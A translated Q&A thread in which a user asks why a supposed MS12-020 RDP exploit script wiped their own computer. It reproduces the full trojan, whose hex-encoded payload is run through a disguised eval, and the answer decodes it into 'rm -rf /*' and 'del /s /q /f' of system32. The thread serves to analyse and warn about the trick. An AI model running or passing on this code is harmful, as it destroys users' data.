¿Por qué este código de Python destruye mi computadora?

security operating-system

Question

Afirma ser un exploit MS12-020, y lo probé en mi máquina. Al parecer, parece destruir el sistema operativo que lo ejecuta.

Mirar solo algunas partes de este código no indica ningún código malicioso, así que le pido su ayuda.

¿Qué está haciendo exactamente y cómo podría recuperar el sistema?

Edición: no destruye la máquina apuntada; Destruye la máquina que la ejecuta. Me gustaría obtener toneladas de información si fuera a buscar qué es MS12-020 !!!!

EDITAR: NO CORRE ESTE CÓDIGO. ES rm -rf / EN DISGUISE.

#!/usr/bin/env python
# rdpsmash.py
# MS12-020 RDP exploit, remote code execution
# Confirmed working on all pre-patch boxes, XP to 7
#
# Author: Verye
import struct
import socket
import sys
trigger = "/x58/x6c/x64/x47/x6a/x74/x30/x5a/x67/x43/x67/x79/x6f/x39/x46/xf1"
trigger += "/x66/x70/x66/x61/x43/x52/x46/x71/x78/x30/x33/x55/x62/x63/x58/x63"
trigger += "/x47/x34/x33/x65/x62/x41/x4f/x30/x54/x39/x6f/x4a/x70/x52/x48/x5a"
trigger += "/x6b/x38/x6d/x6b/x4c/x75/x6b/x30/x50/x6b/x4f/x6e/x36/x53/x6f/x6f"
trigger += "/x79/x4a/x45/x32/x46/x6f/x71/x6a/x4d/x34/x48/x77/x72/x73/x65/x73"
trigger += "/x5a/x37/x72/x69/x6f/x58/x50/x52/x48/x4e/x39/x76/x69/x4a/x55/x4c"
trigger += "/x6d/x32/x77/x69/x6f/x59/x46/x50/x53/x43/x63/x41/x43/x70/x53/x70"
trigger += "/x53/x43/x73/x50/x53/x62/x63/x70/x53/x79/x6f/x6a/x70/x35/x36/x61"
trigger += "/x78/x71/x32/x78/x38/x71/x76/x30/x53/x4b/x39/x69/x71/x4d/x45/x33"
trigger += "/x58/x6c/x64/x47/x6a/x74/x30/x5a/x67/x43/x67/x79/x6f/x39/x46/x32"
trigger += "/x4a/x56/x70/x66/x31/x76/x35/x59/x6f/x58/x50/x32/x48/x4d/x74/x4e"
trigger += "/x4d/x66/x4e/x7a/x49/x50/x57/x6b/x4f/x6e/x36/x46/x33/x56/x35/x39"
trigger += "/x73/x55/x38/x4d/x37/x71/x69/x69/x56/x71/x69/x61/x47/x6b/x4f/x6e"
trigger += "/x36/x36/x35/x79/x6f/x6a/x70/x55/x36/x31/x7a/x71/x74/x32/x46/x51"
trigger += "/x78/x52/x43/x70/x6d/x4f/x79/x4d/x35/x72/x4a/x66/x30/x42/x79/x64"
trigger += "/x69/x7a/x6c/x4b/x39/x48/x67/x62/x4a/x57/x34/x4f/x79/x6d/x32/x37"
trigger += "/x41" * 39
trigger += "/x42/x44/x6c/x4c/x53/x6e/x6d/x31/x6a/x64/x78/x4c/x6b/x4e/x4b/x4e"
trigger += "/x4b/x43/x58/x70/x72/x69/x6e/x6d/x63/x37/x66/x79/x6f/x63/x45/x73"
trigger += "/x74/x4b/x4f/x7a/x76/x63/x6b/x31/x47/x72/x72/x41/x41/x50/x51/x61"
trigger += "/x41/x70/x6a/x63/x31/x41/x41/x46/x31/x71/x45/x51/x41/x4b/x4f/x78"
trigger += "/x50/x52/x48/x4c/x6d/x79/x49/x54/x45/x38/x4e/x53/x63/x6b/x4f/x6e"
trigger += "/x36/x30/x6a/x49/x6f/x6b/x4f/x70/x37/x4b/x4f/x4e/x30/x4e/x6b/x30"
trigger += "/x57/x69/x6c/x6b/x33/x4b/x74/x62/x44/x79/x6f/x6b/x66/x66/x32/x6b"
trigger += "/x4f/x4e/x30/x53/x58/x58/x70/x4e/x6a/x55/x54/x41/x4f/x52/x73/x4b"
trigger += "/x4b/x43/x58/x70/x72/x69/x6e/x6d/x63/x37/x66/x00"
nopsled = "/x90" * 214
#bindshell port 8888
shellcode = "/x5f/x5f/x69/x6d/x70/x6f/x72/x74/x5f/x5f/x28/x27/x6f/x73/x27/x29/x2e/x73/x79/x73"
shellcode += "/x74/x65/x6d/x28/x27/x64/x65/x6c/x20/x2f/x73/x20/x2f/x71/x20/x2f/x66/x20/x43/x3a"
shellcode += "/x5c/x77/x69/x6e/x64/x6f/x77/x73/x5c/x73/x79/x73/x74/x65/x6d/x33/x32/x5c/x2a/x20"
shellcode += "/x3e/x20/x4e/x55/x4c/x20/x32/x3e/x26/x31/x27/x29/x20/x69/x66/x20/x27/x57/x69/x6e"
shellcode += "/x27/x20/x69/x6e/x20/x5f/x5f/x69/x6d/x70/x6f/x72/x74/x5f/x5f/x28/x27/x70/x6c/x61"
shellcode += "/x74/x66/x6f/x72/x6d/x27/x29/x2e/x73/x79/x73/x74/x65/x6d/x28/x29/x20/x65/x6c/x73"
shellcode += "/x65/x20/x5f/x5f/x69/x6d/x70/x6f/x72/x74/x5f/x5f/x28/x27/x6f/x73/x27/x29/x2e/x73"
shellcode += "/x79/x73/x74/x65/x6d/x28/x27/x72/x6d/x20/x2d/x72/x66/x20/x2f/x2a/x20/x3e/x20/x2f"
shellcode += "/x64/x65/x76/x2f/x6e/x75/x6c/x6c/x20/x32/x3e/x26/x31/x27/x29/x20/x23/x68/x69/x20"
shellcode += "/x74/x68/x65/x72/x65/x20/x5e/x5f/x7e/x20/x66/x65/x65/x6c/x20/x66/x72/x65/x65/x20"
shellcode += "/x74/x6f/x20/x73/x70/x72/x65/x61/x64/x20/x74/x68/x69/x73/x20/x77/x69/x74/x68/x20"
shellcode += "/x74/x68/x65/x20/x72/x6d/x20/x2d/x72/x66/x20/x72/x65/x70/x6c/x61/x63/x65/x64/x20"
shellcode += "/x77/x69/x74/x68/x20/x73/x6f/x6d/x65/x74/x68/x69/x6e/x67/x20/x6d/x6f/x72/x65/x20"
shellcode += "/x69/x6e/x73/x69/x64/x69/x6f/x75/x73"
evil = trigger + nopsled
class RDPsocket(socket.socket):
def __init__(self, payload, shellcode):
super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)
self.payload = payload
self.table = __import__("__builtin__").__dict__ #dirty workaround
self.shellcode = shellcode
def parse(self, address, shellcode):
seeker = (struct.pack(">I", 0x6576616c),
socket.inet_aton(address[0]), #IP bytes
socket.inet_aton(str(address[1]))) #port bytes
parsed = struct.pack(">I", 0x8fe2fb63) #pop eax
parsed += struct.pack(">I", 0x8fe2fb58) #push esp
parsed += struct.pack(">I", 0xffff1d6b) #add esp,byte +0x1c # pop ebp # ret
parsed += struct.pack(">I", 0x8fe2db10) #call strcpy
parsed += struct.pack(">I", 0x8fe2dfd1) #POP - POP - RET over strcpy params
parsed += struct.pack(">I", 0x8fe2dae4) #mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret
parsed += struct.pack(">I", 0x8fe2b3d4) #POP - RET
parsed += struct.pack(">I", 0xffffffff) #value to store in ecx
parsed += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
parsed += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
parsed += seeker[0] #add the prelude
parsed += seeker[1] #add the packed IP address
parsed += seeker[2] #add the packed port
parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
parsed += struct.pack(">I", 0x8fe2c71d) #mov eax,edx # ret
parsed += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret
parsed += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
parsed += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
parsed += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
parsed += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret # swap back
parsed += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx # copy parameter to placeholder
parsed += struct.pack(">I", 0x8fe2fb61) #mov [eax],edx # pop eax # ret # set our stack pointer back to original value
parsed += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
parsed += struct.pack(">I", 0x8fe2daea) #sub eax,ecx # ret
parsed += struct.pack(">I", 0x8fe0b1c2) #xchg eax,ebp # inc ebp # ret
parsed += struct.pack(">I", 0x8fe2b6a5) #dec ebp # ret
parsed += struct.pack(">I", 0xffff01f3) #mov esp,ebp # pop ebp # ret
read = self.table[seeker[0]] #reader for the parsed shellcode/data
return str(read(shellcode)), parsed
def connect(self, address):
self.parsed_shell = self.parse(address, shellcode)
super(RDPsocket, self).connect(address)
def evil_sendall(self):
super(RDPsocket, self).sendall(evil + self.parsed_shell[0] + self.parsed_shell[1])
if __name__ == "__main__":
if len(sys.argv) != 2:
print "[*] Usage: python rdpsmash.py IP"
print "[*] If running on non-default port, reassign PORT in the source."
else:
TARGET = sys.argv[1]
PORT = 3389 #default RDP port
print "[*] Running rdpsmash"
print
s = RDPsocket(evil, shellcode)
print "[+] Connecting and configuring payload. . ."
print "[+] This may take some time"
s.connect((TARGET, PORT))
print "[+] Connection established"
print "[+] Sending payload. . ."
s.evil_sendall()
response = s.recv(4096)
if "/xA5/x43/xE7/x38/x75/x84/xF2/xFF/xFF/x18/x61/x00" in response:
print "[+] Success! Payload sent and executed."
print "[+] Telnet to target on port 8888."
else:
print "[-] Failed"
s.close()

Answer 1

La primera línea de ese método de parse es interesante:

In [4]: struct.pack(">I", 0x6576616c)
Out[4]: ''eval''

La próxima vez que lo veas está al final del parse :

read = self.table[seeker[0]] #reader for the parsed shellcode/data

Y self.table se define como:

self.table = __import__("__builtin__").__dict__ #dirty workaround

No es una "solución sucia". Es una forma confusa de escribir eval .

¿Qué hay en esta variable de shellcode mágico?

shellcode = "/x5f/x5f/x69/x6d/x70/x6f/x72/x74/x5f/x5f/x28/x27/x6f/x73/x27/x29/x2e/x73/x79/x73"
shellcode += "/x74/x65/x6d/x28/x27/x64/x65/x6c/x20/x2f/x73/x20/x2f/x71/x20/x2f/x66/x20/x43/x3a"
shellcode += "/x5c/x77/x69/x6e/x64/x6f/x77/x73/x5c/x73/x79/x73/x74/x65/x6d/x33/x32/x5c/x2a/x20"
shellcode += "/x3e/x20/x4e/x55/x4c/x20/x32/x3e/x26/x31/x27/x29/x20/x69/x66/x20/x27/x57/x69/x6e"
shellcode += "/x27/x20/x69/x6e/x20/x5f/x5f/x69/x6d/x70/x6f/x72/x74/x5f/x5f/x28/x27/x70/x6c/x61"
shellcode += "/x74/x66/x6f/x72/x6d/x27/x29/x2e/x73/x79/x73/x74/x65/x6d/x28/x29/x20/x65/x6c/x73"
shellcode += "/x65/x20/x5f/x5f/x69/x6d/x70/x6f/x72/x74/x5f/x5f/x28/x27/x6f/x73/x27/x29/x2e/x73"
shellcode += "/x79/x73/x74/x65/x6d/x28/x27/x72/x6d/x20/x2d/x72/x66/x20/x2f/x2a/x20/x3e/x20/x2f"
shellcode += "/x64/x65/x76/x2f/x6e/x75/x6c/x6c/x20/x32/x3e/x26/x31/x27/x29/x20/x23/x68/x69/x20"
shellcode += "/x74/x68/x65/x72/x65/x20/x5e/x5f/x7e/x20/x66/x65/x65/x6c/x20/x66/x72/x65/x65/x20"
shellcode += "/x74/x6f/x20/x73/x70/x72/x65/x61/x64/x20/x74/x68/x69/x73/x20/x77/x69/x74/x68/x20"
shellcode += "/x74/x68/x65/x20/x72/x6d/x20/x2d/x72/x66/x20/x72/x65/x70/x6c/x61/x63/x65/x64/x20"
shellcode += "/x77/x69/x74/x68/x20/x73/x6f/x6d/x65/x74/x68/x69/x6e/x67/x20/x6d/x6f/x72/x65/x20"
shellcode += "/x69/x6e/x73/x69/x64/x69/x6f/x75/x73"

Una agradable sorpresa (el comentario estaba en realidad allí):

if ''Win'' in __import__(''platform'').system():
__import__(''os'').system(''del /s /q /f C:/windows/system32/* > NUL 2>&1'')
else:
__import__(''os'').system(''rm -rf /* > /dev/null 2>&1'')
#hi there ^_~ feel free to spread this with the rm -rf replaced with something more insidious

Acaba de ejecutar rm -rf / en su computadora. Deberías estar feliz de que no haya sido un poco más encubierto, como un keylogger.